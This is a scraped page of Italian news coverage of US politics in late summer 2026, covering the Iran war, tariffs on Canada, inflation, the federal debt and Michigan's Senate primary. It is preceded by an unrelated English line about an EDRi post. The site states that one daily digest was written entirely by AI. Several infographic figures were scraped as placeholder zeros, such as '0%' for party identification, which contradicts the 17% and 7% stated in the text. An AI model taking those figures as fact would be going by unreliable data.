The post EDRi stands in solidarity with Autistici/Inventati after “terrorist” designation by the US government appeared first on European Digital Rights (EDRi).

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La rassegna stampa di giovedì 3 settembre 2026


L'Amministrazione Trump intensifica la guerra con l'Iran e stringe la morsa delle sanzioni, mentre un giudice blocca il nuovo ordine sulla cittadinanza per nascita e il presidente firma il bilancio provvisorio; crescono i dazi e l'ansia repubblicana verso il voto di metà mandato

Questa è la rassegna stampa di giovedì 3 settembre 2026

L'Amministrazione Trump intensifica la guerra con l'Iran e rivendica il controllo dello stretto di Hormuz


Il presidente Trump ha lanciato la più ampia ondata di attacchi sull'Iran delle ultime settimane, assicurando che l'operazione sarà breve e affermando che gli Stati Uniti controllano ormai lo stretto di Hormuz. Il Pentagono ha però esteso il dispiegamento di truppe e navi da guerra in Medio Oriente fino al 2027, segno che il conflitto rischia di prolungarsi. Trump è sotto pressione per evitare un'ulteriore escalation mentre il suo indice di gradimento è sceso a un minimo record e le elezioni di metà mandato si avvicinano.

Fonti: New York Times, Wall Street Journal, The Hill

Washington stringe la morsa economica su Teheran con l'operazione «Economic Outcast»


L'inviato della Casa Bianca Steve Witkoff ha incontrato in Sardegna il potente consigliere per la sicurezza nazionale degli Emirati Arabi Uniti per coordinare la campagna di sanzioni contro l'Iran e la riapertura dello stretto di Hormuz. Il segretario al Tesoro Scott Bessent ha rilanciato l'agenda dell'Amministrazione al G20 ospitato negli Stati Uniti, minacciando sanzioni verso chiunque commerci con la Repubblica islamica. Il vertice si è però chiuso senza un accordo comune, sullo sfondo di una vendita sui mercati obbligazionari globali.

Fonti: Axios, The Hill, Semafor

Un giudice federale blocca il nuovo tentativo di Trump di limitare la cittadinanza per nascita


Una giudice distrettuale del Maryland ha concesso un'ingiunzione preliminare che ferma l'ordine esecutivo con cui il presidente Trump cercava nuovamente di restringere la cittadinanza automatica per chi nasce sul suolo statunitense. È il secondo tentativo dell'Amministrazione dopo la sconfitta davanti alla Corte suprema. La decisione risponde ai timori che neonati già riconosciuti come cittadini possano vedersi revocare lo status.

Fonti: New York Times, The Hill, Bloomberg

Trump firma la legge di bilancio provvisoria ed evita la paralisi del governo


Il presidente Trump ha firmato una legge di finanziamento temporaneo che scongiura la chiusura delle attività federali almeno fino all'11 dicembre. Il provvedimento, approvato da Senato e Camera, garantisce i fondi alle agenzie federali oltre le elezioni di metà mandato di novembre. Si tratta di una tregua di bilancio in attesa di un'intesa più ampia.

Fonti: The Hill

Nuovi dazi fino al 100% sui droni stranieri, in arrivo tariffe sui semiconduttori


L'Amministrazione Trump ha imposto dazi fino al 100% sui droni prodotti all'estero, mentre la Federal Communications Commission valuta restrizioni su tecnologie diffuse come le termocamere. Il presidente ha inoltre annunciato l'intenzione di introdurre nuove tariffe sui semiconduttori. Le misure ampliano la strategia protezionistica della Casa Bianca sul commercio.

Fonti: New York Times, Bloomberg

Il caos si aggrava al Pentagono dopo le dimissioni del segretario dell'Esercito Driscoll


Le dimissioni del segretario dell'Esercito Dan Driscoll, dopo uno scontro con il segretario alla Difesa Pete Hegseth, lasciano vuoti di leadership mentre le forze armate statunitensi gestiscono il prolungarsi del conflitto con l'Iran. Come possibile successore emerge Sean Parnell, attuale portavoce del Pentagono e alleato di Hegseth. La vicenda alimenta le tensioni ai vertici militari.

Fonti: Financial Times, Semafor

A due mesi dal voto di metà mandato cresce l'ansia tra i repubblicani


Il leader della maggioranza al Senato John Thune ha ammesso di temere la perdita del controllo della camera alta, citando i prezzi elevati e il calo dei consensi per il presidente. Alcuni repubblicani chiedono a Trump di aprire i 400 milioni di dollari del suo super Pac, finora poco utilizzati nella corsa elettorale. Intanto, in vista di una convention di partito, diversi candidati in bilico declinano l'invito del presidente.

Fonti: The Hill, Financial Times, New York Times

Google evita lo smembramento del suo monopolio nella pubblicità online


Un tribunale statunitense ha risparmiato a Google la separazione forzata delle sue attività nella pubblicità digitale, pur avendone riconosciuto in precedenza la posizione dominante. La decisione rappresenta un sollievo per il colosso tecnologico nel lungo contenzioso antitrust con il governo. Restano tuttavia aperti altri fronti giudiziari sul potere di mercato dell'azienda.

Fonti: Financial Times

Chevron raddoppia la produzione di petrolio in Venezuela mentre Maduro chiede l'archiviazione delle accuse


La compagnia americana Chevron si è impegnata a investire 7 miliardi di dollari per raddoppiare la produzione di petrolio in Venezuela, assecondando la spinta della Casa Bianca ad aumentare l'estrazione nel Paese. Nel frattempo l'ex presidente Nicolás Maduro ha chiesto a un giudice di New York di archiviare l'accusa di narcotraffico, sostenendo di godere dell'immunità come capo di uno Stato sovrano. Le due vicende illustrano la complessa relazione tra Washington e Caracas.

Fonti: Financial Times, Bloomberg

Cultura e spettacolo: l'omaggio a Dolly Parton, la scomparsa di Cassandra Wilson e la mostra saltata di Galliano


Il parco Dollywood, nel Tennessee, aggiungerà nuove attrazioni per onorare la cantante Dolly Parton, scomparsa a 80 anni. Nel mondo della musica se ne va anche Cassandra Wilson, celebre voce del jazz, morta a 70 anni. A New York, intanto, è saltata la mostra che il Metropolitan Museum aveva dedicato allo stilista John Galliano.

Fonti: ABC News, New York Times, New York Times

Il contenuto di questa rassegna stampa è stato integralmente realizzato tramite un sistema di intelligenza artificiale. Se noti eventuali errori o imprecisioni, ti invitiamo a segnalarceli inviando un'email a segnalazioni@focusamerica.it.

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L'inflazione e la guerra in Iran pesano sulle midterm di Trump


Dazi, benzina sopra i 4 dollari, debito oltre i 40.000 miliardi e arsenali assottigliati complicano la campagna repubblicana a due mesi dal voto.

A due mesi dalle elezioni di metà mandato, l'economia americana è sempre più sotto pressione e le politiche di Donald Trump contribuiscono alle difficoltà. Il presidente e i repubblicani avevano conquistato Washington nel 2024 promettendo di sconfiggere l'inflazione e tagliare la spesa pubblica, ma la guerra commerciale, il conflitto con l'Iran e un debito che ha superato i 40.000 miliardi di dollari hanno prolungato o aggravato i problemi economici proprio per molte delle famiglie che avevano promesso di aiutare. I sondaggi, scrive il New York Times, indicano una crescente insofferenza degli elettori verso gli appelli alla pazienza e le midterm si avviano a diventare un referendum sulla credibilità economica del presidente.

L'indice PCE, la misura dell'inflazione seguita con maggiore attenzione dalla Federal Reserve, ha mostrato mercoledì che a luglio i prezzi sono aumentati del 3,7% rispetto a un anno prima, lo stesso ritmo di giugno e ben al di sopra dell'obiettivo del 2%. Al netto di energia e alimentari, l'aumento è stato del 3,3%. Olu Sonola, responsabile dell'economia americana per Fitch Ratings, ha descritto al New York Times la dinamica dei prezzi come "un logoramento fatto di mille piccoli tagli": un accumulo di fattori, dalla guerra ai dazi, che ha alimentato l'inflazione e peggiorato le aspettative dei consumatori.

"Questo stillicidio, settimana dopo settimana, mese dopo mese, ha un impatto diretto per le famiglie", ha spiegato, anche se l'economia continua a crescere, la manifattura è in ripresa e il mercato del lavoro tiene, grazie all'ondata di investimenti nell'intelligenza artificiale che ha portato i mercati a nuovi record. Sarah House, economista senior di Wells Fargo, prevede che l'inflazione chiuda l'anno intorno al 3,5%, ben oltre le attese di inizio 2026: "C'è un divario enorme tra quello che i consumatori incassano e la velocità con cui il denaro esce dalle loro tasche".

Midterm 2026 · Economia e difesa

A due mesi dal voto, la presidenza di Trump presenta il conto su tre fronti

I dazi costano in media 1.100 dollari all’anno a ogni famiglia, il debito federale ha superato i 40.000 miliardi e la guerra con l’Iran ha consumato quasi due terzi degli intercettori Patriot. Le elezioni di metà mandato si avviano a diventare un referendum sulla credibilità economica del presidente.

Grafica di FocusAmerica 30 agosto 2026

Indice PCE, variazione sui dodici mesi · luglio 2026

3,7%
L’inflazione che la Federal Reserve guarda con più attenzione è ferma sul ritmo di giugno. Al netto di energia e alimentari l’aumento è del 3,3%.

Obiettivo Fed 2%

Entro l’obiettivo della Fed +1,7 punti oltre l’obiettivo

Sarah House, economista senior di Wells Fargo, prevede che l’anno si chiuda intorno al 3,5%: «C’è un divario enorme tra quello che i consumatori incassano e la velocità con cui il denaro esce dalle loro tasche».

1Le famiglie 2Il debito 3L’arsenale

Il conto delle famiglie

I dazi in vigore valgono 1.100 dollari all’anno per famiglia


Stima dello Yale Budget Lab sull’insieme delle tariffe applicate ad agosto 2026. I dazi sono imposte sulle importazioni: una parte del costo si trasferisce sui consumatori.

Costo annuo per famiglia
Tariffe già in vigore circa 1.070 $
Nuove misure sul Canada circa 30 $
Totale 1.100 $

Interrogato sui possibili aumenti dei prezzi, Trump ha sostenuto che i dazi contro il Canada saranno «molto buoni per noi».

Alla pompa di benzina, media nazionale AAA

Agosto 2025 circa 3,09 $

Agosto 2026 4,09 $

Prezzo al gallone. Agosto si avvia a diventare il mese più caro di sempre: la benzina resta sopra i 4 dollari da quando, a luglio, gli scontri sono ripresi nello Stretto di Hormuz.

Il prossimo colpo Dal 1° gennaio 2027 auto, camion, componenti e acciaio canadesi saranno tassati al 50%. Il primo ministro Mark Carney ha già annunciato misure di ritorsione.

Il debito

Due anni dopo la promessa di austerità, il debito ha superato i 40.000 miliardi


Il debito federale vale ormai più del prodotto annuo del Paese: le tensioni sul mercato obbligazionario rendono più costosi mutui e prestiti.

40.000 miliardi di dollari

Il Congresso a guida repubblicana ha respinto più volte i tagli più profondi chiesti dal presidente, che ha ottenuto invece un aumento delle spese militari e un pacchetto di tagli alle tasse da migliaia di miliardi di dollari.

Quanto pesa il riacquisto di titoli annunciato dal Tesoro

L’intera barra è il debito federale: 40.000 miliardi di dollari.

4 miliardi: questa linea

La stessa barra ingrandita mille volte

L’intervento del Segretario al Tesoro Scott Bessent, di almeno 4 miliardi di dollari per operazione e dagli effetti temporanei, copre lo 0,01% del debito. Il piano di «consolidamento fiscale» promesso resta senza dettagli.

Jessica Riedl, Brookings Institution «Sono tutte chiacchiere. I repubblicani dicono sempre: dateci il controllo del governo e taglieremo la spesa. Ce l’hanno e non hanno più scuse».

L’arsenale

La guerra con l’Iran ha consumato quasi due terzi degli intercettori Patriot


Ogni sagoma rappresenta l’1% delle scorte americane di intercettori Patriot. In rosso la quota consumata dal conflitto, secondo una stima del CSIS.

Consumati: 65% delle scorte Rimasti: 35%

Che cosa hanno lanciato gli Stati Uniti entro metà luglio

Intercettori Patriot1.700

Intercettori THAADoltre 200

Missili lanciati dalle navi150

Che cosa ha lanciato l’Iran

Missili balisticioltre 1.500

Droni di grandi dimensionicirca 6.000

Le barre sono in scala tra loro. Ricostituire le munizioni prelevate dalle scorte americane in Giappone, Corea del Sud e Germania potrebbe richiedere anni.

Le conseguenze fuori dal Golfo In Europa le scorte di intercettori PAC-3 e di missili ATACMS sono giudicate oltre il livello critico. Nel breve periodo Washington potrebbe non essere in grado di eseguire integralmente i piani per la difesa di Taiwan. La Casa Bianca respinge questa ricostruzione: secondo la portavoce Anna Kelly le scorte sono «più che sufficienti».

Fonte: New York Times e Wall Street Journal; Bureau of Economic Analysis (indice PCE, luglio 2026); Yale Budget Lab; AAA; CSIS. Dati aggiornati al 30 agosto 2026.

Dazi, benzina e debito


Uno di questi shock è arrivato sabato 22 agosto, quando Trump ha imposto nuovi dazi su una parte delle importazioni dal Canada, per poi annunciare due giorni dopo che dal 1° gennaio 2027 auto, camion, componenti e acciaio canadesi saranno tassati al 50%. Il primo ministro Mark Carney ha risposto con misure di ritorsione, riaprendo una disputa che ricorda i giorni più frenetici dell'inizio della guerra commerciale.

I dazi sono a tutti gli effetti imposte sulle importazioni e una parte dei loro costi si trasferisce sui consumatori: lo Yale Budget Lab, un centro di ricerca indipendente, ha stimato questo mese che l'insieme delle tariffe in vigore costerà alle famiglie in media circa 1.100 dollari all'anno, una trentina dei quali imputabili alle nuove misure sul Canada. Interrogato sui possibili aumenti dei prezzi, Trump ha sostenuto che i dazi contro il Canada saranno "molto buoni per noi".

Intanto, la guerra con l'Iran, cominciata il 28 febbraio con l'operazione Epic Fury, non si è mai davvero conclusa. Dopo il cessate il fuoco di maggio, a luglio gli scontri sono ripresi nello Stretto di Hormuz e la benzina resta sopra i 4 dollari al gallone: venerdì la media nazionale era di 4,09 dollari secondo AAA, circa un dollaro in più rispetto a un anno prima, mentre agosto si avvia a diventare il mese più caro di sempre alla pompa di benzina. Lo shock energetico ha fatto salire anche il prezzo del diesel e del carburante per aerei, aumentando i costi dei trasporti e dei viaggi.

Le spese per l'intervento militare hanno inoltre contribuito alla crescita del debito federale, ormai superiore a 40.000 miliardi di dollari e al prodotto annuo del Paese, alimentando le tensioni sul mercato obbligazionario e rendendo più costosi mutui e prestiti. Il superamento della soglia dei 40.000 miliardi mostra anche quanto poco Trump e i repubblicani siano riusciti a ridurre la spesa, nonostante l'austerità promessa due anni fa. "Sono tutte chiacchiere", ha detto Jessica Riedl, esperta di bilancio della Brookings Institution ed ex collaboratrice di un senatore repubblicano.

"I repubblicani dicono sempre: 'Dateci il controllo del governo e taglieremo la spesa'. Ce l'hanno e non hanno più scuse". Il Congresso a guida repubblicana ha respinto più volte i tagli più profondi proposti dal presidente, che dal canto suo ha chiesto un aumento delle spese militari e ottenuto l'anno scorso un pacchetto di tagli alle tasse da migliaia di miliardi di dollari. Il Segretario al Tesoro Scott Bessent ha annunciato questo mese un raro intervento di riacquisto di titoli di Stato, portato ad almeno 4 miliardi di dollari per operazione e dagli effetti temporanei, e ha promesso un piano di "consolidamento fiscale" senza fornire dettagli.

La Fed, intanto, continua a resistere alle pressioni per ridurre i tassi. "Dobbiamo essere sicuri che l'inflazione di fondo si stia muovendo verso il nostro obiettivo, in modo chiaro e a una velocità sufficiente", ha detto venerdì a Jackson Hole il nuovo presidente Kevin Warsh. "Altrimenti abbiamo ancora del lavoro da fare". I mercati hanno interpretato il discorso come un'apertura a un rialzo dei tassi già a settembre. Trump chiede invece tagli rapidi e ha accusato il consiglio della banca centrale di fare politica: "Quando annunciamo buoni numeri, cosa che facciamo di continuo, loro continuano ad alzare i tassi perché hanno tanta paura dell'inflazione. E non dovrebbero".

La guerra in Iran svuota gli arsenali


Gli Stati Uniti hanno trasferito in Medio Oriente una quantità di munizioni tale da alimentare, tra i pianificatori militari americani, il timore che la capacità di deterrenza nei confronti di Cina e Russia si sia sensibilmente indebolita. Lo ha rivelato il Wall Street Journal, citando funzionari statunitensi. Entro metà luglio, gli Stati Uniti avevano impiegato circa 1.700 intercettori Patriot e più di 200 intercettori THAAD, mentre le navi della Marina avevano lanciato altri 150 missili per contrastare oltre 1.500 missili balistici e circa 6.000 droni di grandi dimensioni lanciati dall’Iran. Secondo una stima del CSIS, il conflitto avrebbe consumato circa il 65% delle scorte americane di intercettori Patriot.

Le conseguenze si fanno sentire anche fuori dal Medio Oriente. In Europa, le scorte di intercettori Patriot PAC-3 e di missili terra-terra ATACMS sono giudicate “oltre il livello critico”, mentre missili di precisione, razzi guidati, intercettori THAAD e sistemi antidrone Merops sono stati trasferiti verso il Golfo. Ricostituire le munizioni prelevate anche dalle disponibilità americane in Giappone, Corea del Sud e Germania potrebbe richiedere anni.

Il Comando europeo degli Stati Uniti è stato così costretto a rivedere alcuni dei propri piani operativi. Parallelamente, secondo funzionari dell’Amministrazione, nel breve periodo Washington potrebbe non essere in grado di eseguire integralmente i piani previsti per la difesa di Taiwan in caso di un’invasione cinese. Il senatore repubblicano Roger Wicker ha inoltre avvertito che la revisione della presenza militare statunitense in Europa, attualmente in corso al Pentagono, “deve tenere conto di un Putin ferito che reagisce”.

La Casa Bianca respinge però questa ricostruzione. “L’esercito degli Stati Uniti ha munizioni e scorte più che sufficienti per raggiungere tutti gli obiettivi strategici del presidente Trump e anche oltre, e l’operazione Epic Fury ha mostrato cosa succede quando ci si mette contro gli Stati Uniti”, ha dichiarato la portavoce Anna Kelly. Anche il portavoce del Pentagono Sean Parnell ha definito “false” le notizie sulle carenze, accusando i media di incoraggiare i nemici degli Stati Uniti.

Il colonnello Martin O’Donnell, portavoce del comando militare della NATO, ha assicurato a sua volta che l’Alleanza Atlantica “ha abbastanza munizioni per la difesa aerea, compresi i missili Patriot, per difendersi” e continuare a rifornire l’Ucraina. O’Donnell non è però entrato nel merito della consistenza delle scorte statunitensi.

Trump ha sospeso gli attacchi contro l’Iran alla fine di luglio, mentre cresceva il dibattito sull’esaurimento delle munizioni, e punta ora soprattutto sulla pressione economica. Il segretario al Tesoro Scott Bessent ha sostenuto che il nuovo approccio dovrebbe evitare, almeno nel breve periodo, un ritorno a combattimenti su larga scala.

Funzionari arabi ed ex funzionari americani avvertono tuttavia che sanzioni particolarmente punitive potrebbero spingere Teheran a reagire colpendo le infrastrutture del Golfo. “L’Iran ha ancora una forte capacità d’azione”, ha detto al Wall Street Journal Daniel Shapiro, ex funzionario del Pentagono durante l’amministrazione Biden e oggi senior fellow dell’Atlantic Council. Teheran, ha aggiunto, dispone ancora degli strumenti per “infliggere danni a noi e all’economia globale” e il loro impiego comporterebbe “probabilmente azioni militari alle quali gli Stati Uniti dovrebbero quasi certamente rispondere”.


Il Canada risponde a Trump: dazi fino al 50% su 700 prodotti americani


Il Canada imporrà dazi fino al 50% su circa 700 prodotti statunitensi in risposta alle nuove tariffe imposte dalla Casa Bianca, hanno annunciato ieri i funzionari canadesi. Le misure entreranno in vigore l'8 settembre e riguarderanno merci per 27,6 miliardi di dollari canadesi, quasi 20 miliardi di dollari statunitensi, pari a circa il 7% degli acquisti annuali del Canada negli Stati Uniti. Quasi tutte le aliquote saranno comprese tra il 15% e il 50%. Acciaio e alluminio americani, già soggetti a un dazio del 25%, saranno tassati al 50%. Insieme ai controdazi, Ottawa ha annunciato un pacchetto di sostegno da 7,5 miliardi di dollari canadesi destinato alle piccole e medie imprese, alla liquidità delle aziende e ai lavoratori a rischio.

La rappresaglia arriva dopo che sabato 22 agosto Washington ha imposto dazi del 50% su 20 miliardi di dollari di merci canadesi, colpendo bastoni da hockey, cemento, carta, prodotti chimici e altri beni. Le misure sono scattate dopo il fallimento dei negoziati commerciali e l'annuncio di un dazio del 50% sulle automobili a partire dal 1º gennaio 2027. Donald Trump sostiene che gli Stati Uniti perdano 60 miliardi di dollari l'anno negli scambi commerciali con il Paese vicino, anche se Statistics Canada calcola un avanzo commerciale canadese di 9,9 miliardi di dollari canadesi.

La Casa Bianca ha dichiarato che il Canada "sfrutta gli Stati Uniti da decenni e il presidente Trump ha smesso di permetterglielo". Washington sostiene di avere offerto a Ottawa "l'accesso al mercato più favorevole" concesso a qualsiasi Paese, con consistenti riduzioni dei dazi su acciaio, alluminio, automobili e legname. "Il Canada ha scelto richieste irragionevoli, marce indietro e rifiuti netti", ha aggiunto la Casa Bianca.

Su Truth Social, il presidente ha alzato il tiro anche sulla toponomastica. "Gli Stati Uniti stanno prendendo seriamente in considerazione la possibilità di cambiare il nome del lago Ontario in Lake America, dal momento che non ci aspettiamo di fare ancora molti affari con l'Ontario", ha scritto ieri. Trump ha poi diffuso una mappa con il nome attuale barrato in rosso e quello nuovo sovrapposto in lettere dorate. "Ho a che fare con molti Paesi e il Canada è di gran lunga il più difficile e irragionevole", ha aggiunto.

La lista segue la mappa elettorale americana


Le merci colpite provengono in larga parte da Stati nei quali a novembre si terranno elezioni particolarmente combattute, hanno osservato gli analisti: formaggi lavorati nel Wisconsin, prodotti ittici del Maine, lavatrici e asciugatrici del Kentucky, dove General Electric possiede un importante stabilimento. Circa duecento voci dell'elenco riguardano il settore ittico e potrebbero quindi pesare soprattutto sul Maine, dove la senatrice repubblicana Susan Collins è candidata alla rielezione e lunedì ha definito "un errore" l'imposizione di nuovi dazi al Canada.

La pressione si estende ai repubblicani di Michigan, Ohio, Alaska e Iowa, altri Stati confinanti con il Canada o che hanno nel Paese il loro principale partner commerciale. È una strategia già sperimentata: durante il primo mandato di Trump, la rappresaglia canadese aveva colpito il whiskey del Kentucky, il succo d'arancia della Florida e lo yogurt del Wisconsin.

"Agiamo in modo accorto e strategico", ha confermato la Ministra dell'Industria Mélanie Joly durante una conferenza stampa, ammettendo che alcuni prodotti sono stati scelti proprio per esercitare pressioni politiche su singoli Stati americani. Joly ha poi invitato i canadesi a privilegiare i prodotti nazionali nei supermercati e negli altri negozi: "È quello che potete fare, ed è così che possiamo dare vita a questi movimenti di resistenza rispetto a ciò che ci sta accadendo".

Secondo Eric Miller, presidente della società di consulenza commerciale Rideau Potomac Strategy Group di Washington, i nuovi dazi colpiscono prodotti per i quali i canadesi possono trovare alternative fabbricate nel Paese oppure, come nel caso dei condizionatori e degli elettrodomestici, in Messico o in Cina. Allo stesso tempo, le misure aumentano la pressione su Trump perché prendono di mira "produttori situati in Stati dove le competizioni elettorali sono molto combattute o saldamente repubblicani", ha spiegato Miller. Il Canada è il secondo partner commerciale degli Stati Uniti, dopo il Messico e davanti alla Cina, una posizione che rende lo scontro particolarmente costoso per entrambe le economie.

Il costo dei controdazi per i canadesi


Le nuove aliquote potrebbero però aggiungere 0,20 punti percentuali all'inflazione canadese, già al 3%, ha calcolato Royce Mendes, economista di Desjardins Capital Markets. I rincari arriverebbero mentre la Bank of Canada cerca di governare un'economia già alle prese con l'aumento dei prezzi dell'energia e con il rischio di un ulteriore rallentamento provocato dal conflitto commerciale.

"Un conflitto commerciale più intenso danneggerà il Canada più degli Stati Uniti e i controdazi non saranno d'aiuto", ha detto Karl Schamotta, capo stratega di mercato della società di pagamenti globali Corpay. "In Canada, come negli Stati Uniti, sono di fatto tasse sui consumi interni: aumentano il costo della vita e fanno ben poco per modificare le bilance commerciali o migliorare il benessere economico complessivo".

Barry Appleton, avvocato specializzato in diritto commerciale internazionale e docente alla New York Law School, vede nelle tre diverse aliquote — 15%, 25% e 50% — un approccio più mirato rispetto a una semplice risposta dollaro su dollaro. Ma la decisione di colpire beni di uso quotidiano come formaggi, cosmetici e carta igienica avrà conseguenze dirette: "A risentirne direttamente saranno i consumatori canadesi, non soltanto i produttori".

Entrambe le parti accusano l'altra di avere avanzato all'ultimo momento richieste inaccettabili. Washington giustifica i nuovi dazi con il trattamento riservato dal Canada alle automobili, ai vini, ai liquori e ai prodotti lattiero-caseari statunitensi. Il primo ministro Mark Carney ha affermato questa settimana che dai negoziati sarebbe invece emersa l'intenzione di Trump di distruggere il settore automobilistico canadese, oltre alle industrie dell'acciaio e dell'alluminio.

Ottawa sarebbe pronta a riaprire i colloqui, ma soltanto se gli Stati Uniti si presentassero "con il giusto atteggiamento verso le nostre industrie". "Non accetteremo un approccio negoziale secondo il quale il Canada è una filiale degli Stati Uniti e l'industria canadese deve essere svantaggiata rispetto a quella americana", ha aggiunto Carney.


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I giovani elettori neri sfidano la vecchia guardia democratica


La vittoria di Abdul El-Sayed in Michigan evidenzia una frattura generazionale: meno peso agli endorsement storici, più attenzione a casa, sanità e sicurezza economica.

La vecchia guardia della leadership politica nera resta una forza decisiva per i democratici, ma le primarie di quest'anno hanno messo in luce il peso crescente degli elettori neri della generazione Z, meno inclini a lasciarsi orientare dall'anzianità, dalle credenziali legate alle battaglie per i diritti civili o dagli endorsement delle generazioni precedenti. Lo scrive Axios, che indica nella primaria democratica per il Senato in Michigan uno degli esempi più evidenti di un divario generazionale sempre più marcato anche tra gli elettori afroamericani.

Jim Clyburn, 86 anni, deputato della South Carolina e figura storica del movimento per i diritti civili, aveva fatto campagna per Haley Stevens, candidata sostenuta dall'establishment democratico. Abdul El-Sayed, 41 anni, ha invece vinto per meno di un punto percentuale, nonostante oltre 60 milioni di dollari di spesa esterna a favore della rivale, guidata dall'AIPAC e da altri gruppi filo israeliani. Un'analisi del Washington Post ha rilevato che Stevens ha ottenuto un vantaggio di 8 punti nelle contee con la maggiore presenza di popolazione nera, un margine più ridotto di quanto molti si aspettassero, mentre El-Sayed ha dominato nelle contee con il maggior numero di giovani adulti.

Primarie democratiche

La linea dei cinquant'anni


Nelle ultime primarie democratiche il voto degli elettori neri si divide sullo stesso punto: la soglia dei cinquant'anni. Sotto quella linea gli endorsement della vecchia guardia pesano molto meno.

Grafica di FocusAmerica

Sotto i 50 anni Dai 50 anni in su

1 — L'asse dell'età

Due generazioni, due schieramenti


Nella primaria per il Senato in Michigan i protagonisti si dispongono lungo una linea che va dai 29 agli 86 anni. Tocca un nome per sapere da che parte si è schierato.


  • 29 anni — Maxwell Frost, deputato della Florida. Con El-Sayed.
  • 41 anni — Abdul El-Sayed, candidato al Senato. Ha vinto la primaria.
  • 52 anni — Ayanna Pressley, deputata del Massachusetts. Con El-Sayed.
  • 71 anni — Al Sharpton, attivista. Difende il ruolo degli anziani.
  • 86 anni — Jim Clyburn, deputato della South Carolina. Con Haley Stevens.

Età e schieramenti come riportati da Axios, 27 agosto 2026.

2 — Michigan

Oltre 60 milioni di dollari non sono bastati


Haley Stevens aveva l'establishment, i soldi e l'endorsement di Jim Clyburn. Ha perso lo stesso.

Oltre 0

Meno di 1
milioni di dollari Spesa esterna a favore di Stevens, guidata dall'AIPAC e da altri gruppi filoisraeliani.
punto percentuale Il margine con cui Abdul El-Sayed, 41 anni, ha vinto la primaria.

Contee con la maggiore presenza di popolazione nera Stevens +8 Un vantaggio di otto punti, più stretto di quanto molti si aspettassero.
Contee con il maggior numero di giovani adulti El-Sayed Qui il candidato di 41 anni ha dominato. Margine non pubblicato

Fonte: analisi del Washington Post sui risultati della primaria; dati sulla spesa esterna riportati da Axios.

3 — New York, 2025

La stessa frattura, un anno prima


Alla primaria per il sindaco di New York gli elettori neri nel complesso scelsero Andrew Cuomo. I più giovani no.

Andrew CuomoZohran Mamdani

62%
38%

Preferenze degli elettori neri nel complesso

2 a 1 Tra gli elettori sotto i 50 anni il rapporto si rovescia: Mamdani era preferito a Cuomo di circa due a uno.

Cuomo ha comunque vinto in 25 dei 33 quartieri a maggioranza nera della città.

Cuomo ha vinto in 25 dei 33 quartieri a maggioranza nera.

Fonti: sondaggio Emerson College, giugno 2025; calcolo Associated Press sui risultati per quartiere.

4 — Partito e priorità

Sotto i 50 anni cambia anche il legame con i democratici


I giovani elettori neri restano in larghissima maggioranza democratici, ma una quota più ampia guarda ai repubblicani.

Elettori neri sotto i 50 anni 0%

Elettori neri dai 50 anni in su 0%

Quota che si identifica con il Partito repubblicano o tende verso il GOP. Fonte: Pew Research Center, 2024.

Cosa chiedono i più giovani

  • Casa
  • Sanità
  • Istruzione
  • Sicurezza economica

Cosa resta centrale per i più anziani

  • Le battaglie storiche per i diritti civili


Lettura di Theodore Johnson, ricercatore del think tank New America, ad Axios.

In Michigan il porta a porta di una generazione ha pesato più dell'endorsement di un'icona dei diritti civili.

Fonti: Axios, Washington Post, Pew Research Center, Emerson College, Associated Press. agosto 2026

Il porta a porta contro gli endorsement


Kaya Jones di Voters of Tomorrow, organizzazione che rappresenta i giovani elettori, ha spiegato ad Axios che gli elettori neri della generazione Z sono particolarmente propensi a sostenere i progressisti e a respingere i candidati dell'establishment. Parte della frustrazione, secondo Jones, nasce dalla percezione che i leader più anziani restino aggrappati al potere invece di lasciare spazio a una nuova generazione: "Non vogliamo qualcosa che sia uguale. Vogliamo il cambiamento. Vogliamo qualcosa di nuovo e fresco". In Michigan i giovani elettori neri non si sono limitati a votare per El-Sayed: molti hanno fatto porta a porta per lui e hanno partecipato al suo evento nella notte elettorale.

Il candidato era inoltre sostenuto da una generazione più giovane di parlamentari neri, come Ayanna Pressley, 52 anni, e Maxwell Frost, 29, mentre Stevens aveva dalla sua Clyburn. Due mondi diversi, secondo Jones. I dati delle elezioni del 2024 analizzati da Axios mostrano anche che i giovani elettori neri restano in larghissima maggioranza democratici e sono sempre più progressisti, ma una quota significativa è disposta a prendere in considerazione il voto repubblicano. Secondo Pew Research Center, il 17% degli elettori neri sotto i 50 anni si identifica con il Partito Repubblicano o tende verso il GOP, contro il 7% di quelli dai 50 anni in su.

Anche la primaria democratica per il sindaco di New York del 2025 aveva mostrato dinamiche simili. Un sondaggio Emerson College Polling ha rilevato che gli elettori sotto i 50 anni hanno preferito Zohran Mamdani ad Andrew Cuomo con un rapporto di circa due a uno, mentre tra gli elettori afroamericani nel complesso Cuomo è prevalso con il 62% contro il 38%. Associated Press ha calcolato poi che Cuomo aveva vinto in 25 dei 33 quartieri a maggioranza nera della città, mentre Mamdani è risultato più forte tra i giovani neri progressisti.

"Non è una questione di investiture"


Dietro l'allontanamento dai candidati dell'establishment c'è anche l'impazienza verso una leadership nera invecchiata e la consapevolezza che oggi esistano forme di partecipazione e di influenza politica diverse dal percorso che ha portato ai vertici tanti leader religiosi e del movimento per i diritti civili. "C'è una ragione se oggi non esiste un Al Sharpton di 40 anni", ha osservato Theodore Johnson, ricercatore del think tank progressista New America, riferendosi al vechcio attivista di 71 anni. Secondo Johnson, i giovani elettori neri sono più concentrati su casa, sanità, istruzione e sicurezza economica che sulle tradizionali battaglie per i diritti civili, ancora particolarmente importanti per le generazioni più anziane.

Sharpton, intervistato da Axios, ha respinto l'idea che gli anziani debbano semplicemente farsi da parte: "Se qualcuno deve spostarsi per farti passare, allora non sei tu il prossimo. Non è una questione di investiture. Conta il lavoro che fai". Ha riconosciuto che "serve sangue giovane", ma ha difeso anche il valore dell'organizzazione tradizionale, radicata nelle priorità storiche della comunità: "Servono entrambi".


El-Sayed paragona la sharia al diritto canonico nell'intervista con Fox News


Abdul El-Sayed, candidato democratico al Senato in Michigan, ha risposto alle accuse di volere la sharia negli Stati Uniti paragonandola al diritto canonico. "Non ti nego il diritto di praticare la tua fede come vuoi. Non capisco perché sia un problema che io possa praticare la mia come voglio. Nessuno sta cercando di imporre la sharia a nessun altro, così come spero che nessuno stia cercando di imporre il diritto canonico, perché viviamo in un'America in cui devi avere la libertà della tua religione", ha detto lunedì sera al conduttore di Fox News Jesse Watters.

L'intervista è durata circa mezz'ora nel programma serale "Jesse Watters Primetime" ed è stata quasi tutta un accavallarsi di voci. Watters ha rilanciato vecchi spezzoni delle dichiarazioni di El-Sayed, passando bruscamente da un tema all'altro: la sharia, i prezzi della benzina, il bilancio federale, la NFL, le terapie di affermazione di genere per i minori e gli atleti transgender.

